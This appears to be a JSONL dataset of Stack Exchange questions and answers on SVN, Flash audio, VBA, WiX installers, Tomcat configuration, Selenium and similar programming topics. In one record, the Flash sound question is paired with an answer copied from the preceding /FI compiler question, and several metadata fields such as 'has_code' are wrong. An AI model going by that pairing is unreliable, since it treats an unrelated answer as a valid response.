{"id": "hf_5833cf24b03c", "question": "<p>Is it possible to checkout only those files from a SVN repository that were modified in a revision or range of revisions, without checking out any files that were not modified? </p>\n", "question_body": "", "answer": "I'm not completly sure if this is possible but you can also do something like this:\n```\n```\nsvn checkout --revision <revisionNumber>\n```\n```\nto get a certain revision and\n```\n```\nsvn log --revision <revisionNumber>\n```\n```\nto list all files chaned in a revision", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.055785"}
{"id": "hf_b9cd39c6bc89", "question": "<p>I have just come across a Visual C++ option that allows you to force file(s) to be included - this came about when I was looking at some code that was missing a <code>#include \"StdAfx.h\"</code> on each .cpp file, but was actually doing so via this option.</p>\n\n<p>The option can be found on the <strong>Advanced C/C++ Configuration Properties</strong> page and equates to  the <strong>/FI</strong> compiler option.</p>\n\n<p>This option could prove really useful but before I rush off and start using it I thought I'd ask if there are any gotchas?</p>\n", "question_body": "", "answer": "I would discourage from /FI  (\nMSDN\nsays it's called /FI . Not sure whether i looked at the right page though), simply because people or yourself reading the files don't notice a header is magically included anyway.\nYou can be sure this will cause much debugging time for someone that wants to figure out where specific macros come from, even though there are no\n```\n#include\n```\nlines at the top of the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.116765"}
{"id": "hf_0727e75bbd1f", "question": "<p>I'm working on a site (<a href=\"http://easy2speak.com\" rel=\"nofollow noreferrer\">http://easy2speak.com</a>) with about 10 flash SWFs on each page. Each of the SWFs are playing back a sound when clicked. Loading the sound, and playing it without any latency works fine, but in Flash player version 9 on all major browsers except IE, the sound suddenly drops out. It usually works for the first 10-20 clicks, then the SWFs will be totally silent until the next machine/browser restart. </p>\n\n<p>In Flash player v10 (exactly the same code) it works perfectly. It also works perfectly in Flash player v9 in Internet Explorer.</p>\n\n<p>Any ideas ?</p>\n\n<p>Would love to hear some brain-storming on how to get around this problem as well, as I start to suspect there is no easy fix I can do in code. </p>\n\n<p>By the way, the site has 1000+ sounds in MP3, so any solution can't involve embedding the sounds.</p>\n", "question_body": "", "answer": "I would discourage from /FI  (\nMSDN\nsays it's called /FI . Not sure whether i looked at the right page though), simply because people or yourself reading the files don't notice a header is magically included anyway.\nYou can be sure this will cause much debugging time for someone that wants to figure out where specific macros come from, even though there are no\n```\n#include\n```\nlines at the top of the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.142736"}
{"id": "hf_2cf849d2454c", "question": "<p>I find that in my daily Flex/Flash work, I do this number a lot:</p>\n\n<pre><code>//Calling a function...\nMyCustomObject(container.getChildAt(i)).mySpecialFunction();\n</code></pre>\n\n<p>The question is - is this the best way to do this?  Should I do this:</p>\n\n<pre><code>//Calling a function\nvar tempItem:MyCustomObject = container.getChildAt(i) as MyCustomObject;\ntempItem.mySpecialFunction();\n</code></pre>\n\n<p>It might be incidental but I'm just wondering if there is an \"accepted\" way or a preferred way to do this.  The second option seems more readable but I wonder if it takes more of a performance hit to create a new variable.  Or does it all come down to style and preference?</p>\n", "question_body": "", "answer": "It generally doesn't matter.  Creating a var just creates a pointer to the object, so it's not using more memory or anything like that.\nThe second example is definitely more readable and debuggable and should thus be preferred.\nThe risk you run from creating temp vars is that you might delay or prevent garbage collection for that object.  This generally isn't a problem when it's just a local var in a function; just keep scope in mind when you're creating vars and passing them around.\nFor in-depth on the subject, read Grant Skinner's series on resource management in AVM2:\nhttp://www.gskinner.com/blog/archives/2006/06/as3_resource_ma.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.192102"}
{"id": "hf_8af3e11def8e", "question": "<p>Using a macro I have consolidated info from several workbooks into one sheet in new workbook.</p>\n\n<p>In one column  I have created a named range called ColRange.  That column has numbers ranging from -350 to 500.</p>\n\n<p>How do I change the color of the cells based on the value of the text in the cell.<br>\nred(0-500) \nyellow(-5-0)\ngreen(-350--5)</p>\n", "question_body": "", "answer": "Assume that value is the number stored in the column then:\n```\n```\nIf value >= 0 AND value <= 500 Then\n    ColRange.Interior.Color = RGB(255,0,0)\nElseIf  value >= -5 Then\n    ColRange.Interior.Color = RGB(255,255,200)\nElse\n    ColRange.Interior.Color = RGB(0,255,0)\nEnd If\n```\n```\nAnd assuming that values greater than 500 or less than -350 is either not possible or validated by your script. Also, your ranges overlap a bit, what color should 0 be? Red or Yellow?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.229680"}
{"id": "hf_059da8d063ee", "question": "<p>Good morning,</p>\n\n<p>I work in a small shop (only two of us) and we currently manage more .vbs scripts that we would like to (we would like to manage zero).  One of the nice things about these scripts is that it's quick to make changes (as necessary) and go back to our day jobs.  </p>\n\n<p>That's all nice and good until we decide that the job needs to be changed substantially, and then a PITA to develop and debug, mostly because it feels like I'm shooting pool with a baseball bat.</p>\n\n<p>Is there a more DotNet-y way to do Windows Scripting Host-like stuff that people have used and like?  I'd prefer free/cheap tools, naturally.</p>\n\n<p>Regards,</p>\n\n<p>-Alan.</p>\n", "question_body": "", "answer": "PowerShell\nis the \"next generation, .NET-based scripting platform\" from Microsoft. I haven't looked at it in detail, but from what I've heard it's trying to combine the simplicity of Unix-style pipelines with the power of a rich object model.\nWhether or not it fits in with exactly what you want to achieve is something I can't really say, of course - but it's certainly worth a look.\nThere are other .NET languages which are amenable to scripting - there are the dynamic languages such as\nIronRuby\nand\nIronPython\n, and also\nBoo\n(mostly static, but with duck-typing where you want it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.292502"}
{"id": "hf_4ae53f643f47", "question": "<p>What are some of the techniques available to debug multi threading issues in .net environment.</p>\n", "question_body": "", "answer": "Debugging and unit-testing multithreaded code is notoriously difficult, and I don't believe there are any tried and true solutions to debugging multiple threads.\nHowever, you can make it easier to write multithreaded code by taking a few notes from functional programming languages:\nUse immutable data structures:\nits very easy to write multithreaded code in F#, Haskell, Erlang, OCaml, etc because data structures and values in these languages are immutable, meaning that you can't modify a variable once it has been assigned. Essentially, this means every variable is declared constant, and there are no methods like List.Add or Dictionary.Add which mutate the collection.\nImmuability means that nothing can be mutated after its been declared, therefore you never have to worry about one thread mutating shared state used by another thread. Since that's the case, you don't have to use locks or mutexes in your code, and you've eliminated a whole class of threading errors related to race conditions and dead locks.\nRely on message passing to share data between process\nRead these blog post:\nhttp://www.defmacro.org/ramblings/concurrency.html\nhttp://en.wikipedia.org/wiki/Erlang_(programming_language)#Concurrency_and_distribution_oriented_language\nErlang is a remarkable language, specifically because its concurrency model is scalable up to 1000s and 1000s of computer. Rather than giving threads access to shared state, it relies on message passing to send information from one thread to another.\nRely on channels to syncronize threads\nHere is a nice video on the Newsqueak language:\nhttp://video.google.com/videoplay?docid=810232012617965344\nIt describes Newsqueak's interesting approach to concurrency. It uses objects called \"channels\" to pipe data from one thread to another. Its easy to find C# implementations of channels.\nRemember, you can learn a lot about solving problems in .NET by studying how the same problems are solved in other languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.330343"}
{"id": "hf_a262a718df13", "question": "<p>I have an Access 2002 application which links an Oracle table via ODBC with this code:</p>\n\n<pre><code>Set HRSWsp = CreateWorkspace(\"CONNODBC\", \"\", \"\", dbUseODBC)\nSet HRSConn = HRSWsp.OpenConnection(\"HRSCONN\", dbDriverPrompt, , \"ODBC;\")\nDoCmd.TransferDatabase acLink, \"Database ODBC\", HRSConn.Connect, acTable, \"SCHEMA.TABLE\", \"TABLE\", False, True\n</code></pre>\n\n<p>Unfortunately, Access 2007 doesn't accept this syntax anymore, saying that ODBCDirect is no more supported (Runtime error 3847) and suggesting to use ADO instead of DAO.\nCould someone please tell me how can I modify this code to satisfy Access 2007?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nDim tbl As New ADOX.Table\nDim cat As New ADOX.Catalog\n\ncat.ActiveConnection = _\n    \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=[x:\\your_access_db.mdb];Jet OLEDB:Engine Type=4\"\n\ntbl.NAME = \"[Access_table_name]\"\n\nSet tbl.ParentCatalog = cat\n\ntbl.Properties(\"Jet OLEDB:Create Link\") = True\ntbl.Properties(\"Jet OLEDB:Link Provider String\") = \"ODBC;Driver={Microsoft ODBC For Oracle};Server=OracleServerName;Uid=[user];Pwd=[password];\"\ntbl.Properties(\"Jet OLEDB:Cache Link Name/Password\") = True\ntbl.Properties(\"Jet OLEDB:Remote Table Name\") = \"[Oracle_Schema].[Table]\"\n\ncat.Tables.Append tbl\ncat.ActiveConnection.Close\n```\n```\nReplace text in brackets (\n```\n[]\n```\n) with your info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.407674"}
{"id": "hf_7c06c0da6c5f", "question": "<p>I would like to modify an MSI installer (created through <a href=\"http://en.wikipedia.org/wiki/WiX\" rel=\"noreferrer\">WiX</a>) to delete an entire directory on uninstall.</p>\n\n<p>I understand the <code>RemoveFile</code> and <code>RemoveFolder</code> options in WiX, but these are not robust enough to recursively delete an entire folder that has content created after the installation.</p>\n\n<p>I noticed the similar Stack Overflow question <em><a href=\"https://stackoverflow.com/questions/195919\">Removing files when uninstalling WiX</a></em>, but I was wondering if this could be done more simply using a call to a batch script to delete the folder.</p>\n\n<p>This is my first time using WiX, and I'm still getting the hang of <a href=\"http://wix.sourceforge.net/manual-wix2/authoring_custom_actions.htm\" rel=\"noreferrer\">custom actions</a>. What would be a basic example of a custom action that will run a batch script on uninstall?</p>\n", "question_body": "", "answer": "You can do this with a custom action.  You can add a refrence to your custom action under\n```\n<InstallExecuteSequence>\n```\n:\n```\n```\n<InstallExecuteSequence>\n...\n  <Custom Action=\"FileCleaner\" After='InstallFinalize'>\n          Installed AND NOT UPGRADINGPRODUCTCODE</Custom>\n```\n```\nThen you will also have to define your Action under\n```\n<Product>\n```\n:\n```\n```\n<Product> \n...\n  <CustomAction Id='FileCleaner' BinaryKey='FileCleanerEXE' \n                ExeCommand='' Return='asyncNoWait'  />\n```\n```\nWhere FileCleanerEXE is a binary (in my case a little c++ program that does the custom action) which is also defined under\n```\n<Product>\n```\n:\n```\n```\n<Product> \n...\n  <Binary Id=\"FileCleanerEXE\" SourceFile=\"path\\to\\fileCleaner.exe\" />\n```\n```\nThe real trick to this is the\n```\nInstalled AND NOT UPGRADINGPRODUCTCODE\n```\ncondition on the Custom Action, with out that your action will get run on every upgrade (since an upgrade is really an uninstall then reinstall). Which if you are deleting files is probably not want you want during upgrading.\nOn a side note: I recommend going through the trouble of using something like C++ program to do the action, instead of a batch script because of the power and control it provides -- and you can prevent the \"cmd prompt\" window from flashing while your installer runs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.493601"}
{"id": "hf_bb89d0649f3e", "question": "<p>I am looking to format a number like 188518982.18 to £188,518,982.18 using Python.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "See the\nlocale\nmodule.\nThis does currency (and date) formatting.\n```\n```\n>>> import locale\n>>> locale.setlocale( locale.LC_ALL, '' )\n'English_United States.1252'\n>>> locale.currency( 188518982.18 )\n'$188518982.18'\n>>> locale.currency( 188518982.18, grouping=True )\n'$188,518,982.18'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.536785"}
{"id": "hf_a4aece1adcbc", "question": "<p>I need to <strong>disable PUT, DELETE &amp; TRACE HTTP requests</strong> on my Application Server, Apache Tomcat 6.0.</p>\n\n<p>All other sources, i have searched till now, have directed me towards the limit parameter in <em>httpd.conf</em>, Hence I'd put it before-hand that I am not using Apache Web Server, and requests are directly being handled by Tomcat, and so there is no <em>httpd.conf</em> in picture.</p>\n\n<p>Please suggest how should I do it on Tomcat?</p>\n", "question_body": "", "answer": "Inside your WEBINF, add you can add a security constraint:\n```\n```\n<security-constraint>\n     <web-resource-collection>\n          <web-resource-name>Forbidden</web-resource-name>\n          <url-pattern>/blah/*</url-pattern>\n          <http-method>PUT</http-method>\n          <http-method>DELETE</http-method>\n          <http-method>TRACE</http-method>\n     </web-resource-collection>\n     <auth-constraint>\n          <role-name>empty_role</role-name>\n     </auth-constraint>\n</security-constraint>\n```\n```\nAlternatively, you can do these two things:\nIn server.xml, edit the\n```\n<connector>\n```\nelement, add an attribute:\n```\nallowTrace=\"false\"\n```\n.  Then edit the DefaultServlet: $CATALINA_HOME/conf/web.xml\n```\n```\n<servlet>\n    <servlet-name>default</servlet-name>\n    <servlet-class>\n        org.apache.catalina.servlets.DefaultServlet\n    </servlet-class>\n    <!-- blah blah blah -->\n    <init-param>\n        <param-name>readonly</param-name>\n        <param-value>true</param-value>\n    </init-param>\n</servlet>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.611891"}
{"id": "hf_7e0cfb58b4bf", "question": "<p>I'm sure you've all seen them.  Line of Business UIs that have logic such as: \"When ComboA is selected, query for values based on that selection, and populate Textbox B\", or \"When ButtonC is pressed, disable Textboxes C and D\", and on and on ... it gets particularly bad when you can have multiple permutations of the logic above.</p>\n\n<p>If presented with the chance to redesign one of these lovely screens, how would you approach it?  would you put a wizard in front of the UI? would you keep the single screen paradigm but use some other pattern to make the logic of the UI state maintainable? what would be the process you use to determine how this would ideally be presented and implemented?</p>\n\n<p>Not that I think this should matter for the responses, but I am currently presented with just this \"opportunity\", and it's an ASP.NET web page that uses javascript to respond to the user's choices, disable controls, and make ajax calls for additional data.</p>\n", "question_body": "", "answer": "Start with the KISS principle, and work from there. Don't over-engineer the solution, and try to think about the problem from the user's POV. Your first impression of what would make a good layout is probably close to what you should be building, as a good UI is intuitive.\nThat being said, single screen versus multiple screens, JavaScript or AJAX, it doesn't really matter. If it looks good, is easy to understand, and behind the scenes, is well commented and written with clear code, it works. It should be maintainable, so aim for modular code blocks with clear functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.636675"}
{"id": "hf_1669801e383b", "question": "<p><strong>What happens in the memory when a class instantiates the following object?</strong> </p>\n\n<pre><code>public class SomeObject{\n\n    private String strSomeProperty;\n\n    public SomeObject(String strSomeProperty){\n        this.strSomeProperty = strSomeProperty;\n    }\n    public void setSomeProperty(String strSomeProperty){\n        this.strSomeProperty = strSomeProperty;\n    }\n    public String getSomeProperty(){\n        return this.strSomeProperty;\n    }\n}\n</code></pre>\n\n<p>In class <code>SomeClass1</code>:</p>\n\n<pre><code>SomeObject so1 = new SomeObject(\"some property value\");\n</code></pre>\n\n<p>In class <code>SomeClass2</code>:</p>\n\n<pre><code>SomeObject so2 = new SomeObject(\"another property value\");\n</code></pre>\n\n<p><strong>How is memory allocated to the newly instantiated object and its properties?</strong>  </p>\n", "question_body": "", "answer": "Let's step through it:\n```\n```\nSomeObject so1 = new SomeObject(\"some property value\");\n```\n```\n... is actually more complicated than it looks, because you're creating a new String. It might be easier to think of as:\n```\n```\nString tmp = new String(\"some property value\");\nSomeObject so1 = new SomeObject(tmp);\n// Not that you would normally write it in this way.\n```\n```\n(To be absolutely accurate - these are not really equivalent. In the original the 'new String' is created at compile time and is part of the .class image. You can think of this as a performance hack.)\nSo, first the JVM allocates space for the String. You typically don't know or care about the internals of the String implementation, so just take it on trust that a chunk of memory is being used to represent \"some property value\". Also, you have some memory temporarily allocated containing a reference to the String. In the second form, it's explicitly called\n```\ntmp\n```\n; in your original form Java handles it without naming it.\nNext the JVM allocates space for a new SomeObject. That's a bit of space for Java's internal bookkeeping, and space for each of the object's fields. In this case, there's just one field,\n```\nstrSomeProperty\n```\n.\nBear in mind that\n```\nstrSomeProperty\n```\nis just a reference to a String. For now, it'll be initialised to null.\nNext, the constructor is executed.\n```\n```\nthis.strSomeProperty = strSomeProperty;\n```\n```\nAll this does is copy the\nreference\nto the String, into your\n```\nstrSomeProperty\n```\nfield.\nFinally, space is allocated for the object reference\n```\nso1\n```\n. This is set with a reference to the SomeObject.\n```\nso2\n```\nworks in exactly the same way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.674120"}
{"id": "hf_b56b1a6a0a95", "question": "<p>I wish to execute a javascript function after asp.net postback with out using ajax.</p>\n\n<p>I've tried the following in my even method with no luck:</p>\n\n<pre><code>Page.ClientScript.RegisterStartupScript(GetType(), \"ShowPopup\", \"showCheckOutPopIn('Livraison',556);\");\n</code></pre>\n", "question_body": "", "answer": "I don't remember offhand what is the exact syntax/usage for the Page.ClientScript stuff ... that looks like it should work offhand.  But if push comes to shove, just have a simple user control that you can enable/disable dynamically that will write out a javascript method in script blocks after the postback.  When the page loads, this script execute whatever functionality you wish to execute.\nof course, the question is then, what is it that this javascript should do that you couldn't just do on the serverside via some property or other setting that would reflect in the markup?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.728266"}
{"id": "hf_1ad7804389ea", "question": "<p>I know python functions are virtual by default. Let's say I have this:</p>\n\n<pre><code>class Foo:\n    def __init__(self, args):\n        do some stuff\n    def goo():\n        print \"You can overload me\"\n    def roo():\n        print \"You cannot overload me\"\n</code></pre>\n\n<p>I don't want them to be able to do this:</p>\n\n<pre><code>class Aoo(Foo):\n    def roo():\n        print \"I don't want you to be able to do this\"\n</code></pre>\n\n<p>Is there a way to prevent users from overloading roo()?</p>\n", "question_body": "", "answer": "Since Python has monkey patching, not only can you not make anything \"private\".  Even if you could, someone could still monkeypatch in a new version of the method function.\nYou can use this kind of name as a \"don't go near\" warning.\n```\n```\nclass Foo( object ):\n    def _roo( self ):\n       \"\"\"Change this at your own risk.\"\"\"\n```\n```\nThat's the usual approach.  Everyone can read your source.  They were warned.  If they boldly go where they were warned not to go, they get what they deserve.  It doesn't work and you can't help them.\nYou can try to make this intentionally obcure with inner classes and \"hidden\" implementation modules that are called by the \"private\" methods.  But... everyone has your source.  You can't\nprevent\nanything.  You can only advise people of the consequences of their actions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.765442"}
{"id": "hf_f4a234607734", "question": "<p>I'm using a preformatted text file as a template for emails. The file has line breaks where I want them. I'd like to use this template to send a plain text email, but when I do I'm losing all formatting. Line breaks are stripped.</p>\n\n<p>How do I parse this file and retain line breaks? I don't want to use a <code>&lt;pre&gt;</code> tag because I want to send plain text emails. </p>\n\n<p>I'm using the classic ASP ReadAll method to pull the template into a string:</p>\n\n<pre><code>            Dim TextStream\n        Set TextStream = FSO.OpenTextFile(Filepath, ForReading, False, TristateUseDefault)\n\n        ' Read file in one hit\n        Dim Contents\n        GetTemplate = TextStream.ReadAll ' return file contents\n</code></pre>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "this is what I have done...\nI take a text, or HTML file, ( I'll show text, since its smaller, but the exact same code applies ), and I put well know values into the text file that I can later replace.\n-- Begin Text File\n```\n```\nWe've generated a new password for you at your request, you can use this new password with your username to log in to various sections of our site.\n\nUsername: ##UserName##\nTemporary Password: ##Password##\n\nTo use this temporary password, please copy and paste it into the password box.\n\nPlease keep this email for your records.\n```\n```\n-- End Text File\nThen its a simple matter of creating a list of key/value pairs, with the text to be replaced, and the value your replacing it with. Load the file into memory as a string, and loop through your key/value pair replacing your text values.\n```\n```\nListDictionary dictionary = new ListDictionary\n                                            {\n                                                {\"##UserName##\", user.BaseUser.UserName},\n                                                {\"##Password##\", newPassword}\n                                            };\n\n            string fromResources = GetFromResources(\"forgotpasswordEmail.html\");\n            string textfromResources = GetFromResources(\"forgotpasswordEmail.txt\");\n            foreach (DictionaryEntry entry in dictionary)\n            {\n                fromResources = fromResources.Replace(entry.Key.ToString(), entry.Value.ToString());\n                textfromResources = textfromResources.Replace(entry.Key.ToString(), entry.Value.ToString());\n            }\n```\n```\nThen you can email the text, ( in this case the textfromResources variable ), and it will contain all of the necessary line breaks and formatting.\nLike I said, you can do this eact same thing with HTML files, or any type of file you want to.\nAlthough my example is in C#, ( I don't have any classic ASP code handy, sorry ), the concept of finding and replacing values will apply to classic ASP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.844724"}
{"id": "hf_6f13520c8c0e", "question": "<p>This is in the context of <a href=\"http://en.wikipedia.org/wiki/Automatic_differentiation\" rel=\"noreferrer\">Automatic Differentiation</a> - what would such a system do with a function like <code>map</code>, or <code>filter</code> - or even one of the <a href=\"http://en.wikipedia.org/wiki/SKI_combinator_calculus\" rel=\"noreferrer\">SKI Combinators</a>?</p>\n\n<p>Example: I have the following function:</p>\n\n<pre><code>def func(x):\n    return sum(map(lambda a: a**x, range(20)))\n</code></pre>\n\n<p>What would its derivative be? What will an AD system yield as a result? (This function is well-defined on real-number inputs).</p>\n", "question_body": "", "answer": "Higher-order functions are discrete. They don't have the Cartesian quality of having arguments that have well-defined mappings to points in some n-dimensional space.\nHowever, with your clarification on the answer, there are several things that can be said. Symbolically differentiating some higher-order functions would be possible, but only for certain calling patterns that resolve to well-known functions.\nProbably,\nnumerical differentiation\nwould be more fruitful, as it can estimate the derivative by repeatedly evaluating the given function.\nAlso, functions that are totally general - and your example is heading that way, with use of relatively arbitrary functions - eventually you'll hit Turing completeness, which will mean that no amount of cleverness on the part of a symbolic differentiator will be able to automatically differentiate the function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.881189"}
{"id": "hf_ea249f7b27c9", "question": "<p>Is there a preferred way to return multiple values from a C++ function?  For example, imagine a function that divides two integers and returns both the quotient and the remainder.  One way I commonly see is to use reference parameters:</p>\n\n<pre><code>void divide(int dividend, int divisor, int&amp; quotient, int&amp; remainder);\n</code></pre>\n\n<p>A variation is to return one value and pass the other through a reference parameter:</p>\n\n<pre><code>int divide(int dividend, int divisor, int&amp; remainder);\n</code></pre>\n\n<p>Another way would be to declare a struct to contain all of the results and return that:</p>\n\n<pre><code>struct divide_result {\n    int quotient;\n    int remainder;\n};\n\ndivide_result divide(int dividend, int divisor);\n</code></pre>\n\n<p>Is one of these ways generally preferred, or are there other suggestions?</p>\n\n<p>Edit: In the real-world code, there may be more than two results.  They may also be of different types.</p>\n", "question_body": "", "answer": "Alternatives include arrays,\ngenerators\n, and\ninversion of control\n, but none is appropriate here.\nSome (e.g. Microsoft in historical Win32) tend to use reference parameters for simplicity, because it's clear who allocates and how it will look on the stack, reduces the proliferation of structures, and allows a separate return value for success.\n\"Pure\" programmers prefer the struct, assuming it\nis\nthe function value (as is the case here), rather than something that's touched incidentally by the function.  If you had a more complicated procedure, or something with state, you'd probably use references (assuming you have a reason for not using a class).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.904615"}
{"id": "hf_6ddb979dd021", "question": "<p>I have an xml file ('videofaq.xml') that defines a DTD using the following DOCTYPE</p>\n\n<pre><code>&lt;!DOCTYPE video-faq SYSTEM \"videofaq.dtd\"&gt;\n</code></pre>\n\n<p>I am loading the file from the classpath (from a JAR actually) at Servlet initialization time using:</p>\n\n<pre><code>getClass().getResourceAsStream(\"videofaq.xml\")\n</code></pre>\n\n<p>The XML is found correctly, but for the DTD in the same package, Xerces gives me a FileNotFoundException, and displays the path to the Tomcat startup script with \"videofaq.dtd\" appended to the end. What hints, if any, can I pass on to Xerces to make it load the DTD properly?</p>\n", "question_body": "", "answer": "When you do\n```\n```\ngetClass().getResourceAsStream(\"videofaq.xml\")\n```\n```\nIt's not xerces you are calling and as such, when you give the stream to xerces, it can't know where the file is loaded from. It loads it from the application root path (which you have described).\nA simple solution would be to specify the whole path in your xml file to the dtd.\nAlso, xerces seems to try multiple places. So you should have a look at the grammar caching mecanism or the entity resolvers (which are used in that order I think).\nXerces grammar doc:\nhttp://xerces.apache.org/xerces2-j/faq-grammars.html\nXerces features use-entity-resolver2:\nhttp://xerces.apache.org/xerces2-j/features.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:43.940022"}
{"id": "hf_2499e273c961", "question": "<p>How would you run the Selenium process (thread) from a Java process so I don't have to start Selenium by hand?</p>\n", "question_body": "", "answer": "The server:\n```\n```\nimport org.openqa.selenium.server.SeleniumServer;\npublic class SeleniumServerControl {\n  private static final SeleniumServerControl instance = new SeleniumServerControl();\n  public static SeleniumServerControl getInstance() {\n    return instance;\n  }\n  private SeleniumServer server = null;\n  protected SeleniumServerControl() {\n  }\n  public void startSeleniumServer() {\n    if (server == null) {\n      try {\n        server = new SeleniumServer(SeleniumServer.DEFAULT_PORT);\n        System.out.println(\" selenium server \" + server.toString());\n      } catch (Exception e) {\n        System.err.println(\"Could not create Selenium Server because of: \"\n            + e.getMessage());\n        e.printStackTrace();\n      }\n    }\n    try {\n      server.start();\n    } catch (Exception e) {\n      System.err.println(\"Could not start Selenium Server because of: \"\n          + e.getMessage());\n      e.printStackTrace();\n    }\n  }\n  public void stopSeleniumServer() {\n    if (server != null) {\n      try {\n        server.stop();\n        server = null;\n      } catch (Exception e) {\n        System.err.println(\"Could not stop Selenium Server because of: \"\n            + e.getMessage());\n        e.printStackTrace();\n      }\n    }\n  }\n}\n```\n```\nThe client:\n```\n```\nbrowser = new DefaultSelenium(\"localhost\", 4444, \"*firefox\", \"http://www.google.com\");\nbrowser.start();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.009460"}
{"id": "hf_2d70e09b35ea", "question": "<p>What is the shortcut in eclipse to terminate debugging/running? Looking under Preferences -> Keys says <kbd>Ctrl</kbd> + <kbd>F2</kbd> but it doesn't work.</p>\n", "question_body": "", "answer": "As said\nhere\n, you can add/enable the Debug command group to any perspective using\n```\nWindow / Customize Perspective > Commands\n```\n.\n(Select the 'Debug' group)\nThen open the Debug view in the Java perspective (as a Fast view perhaps)  and you should get your Terminate keybinding.\nI suppose it was not working because you tried it in a non-debug session.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.046259"}
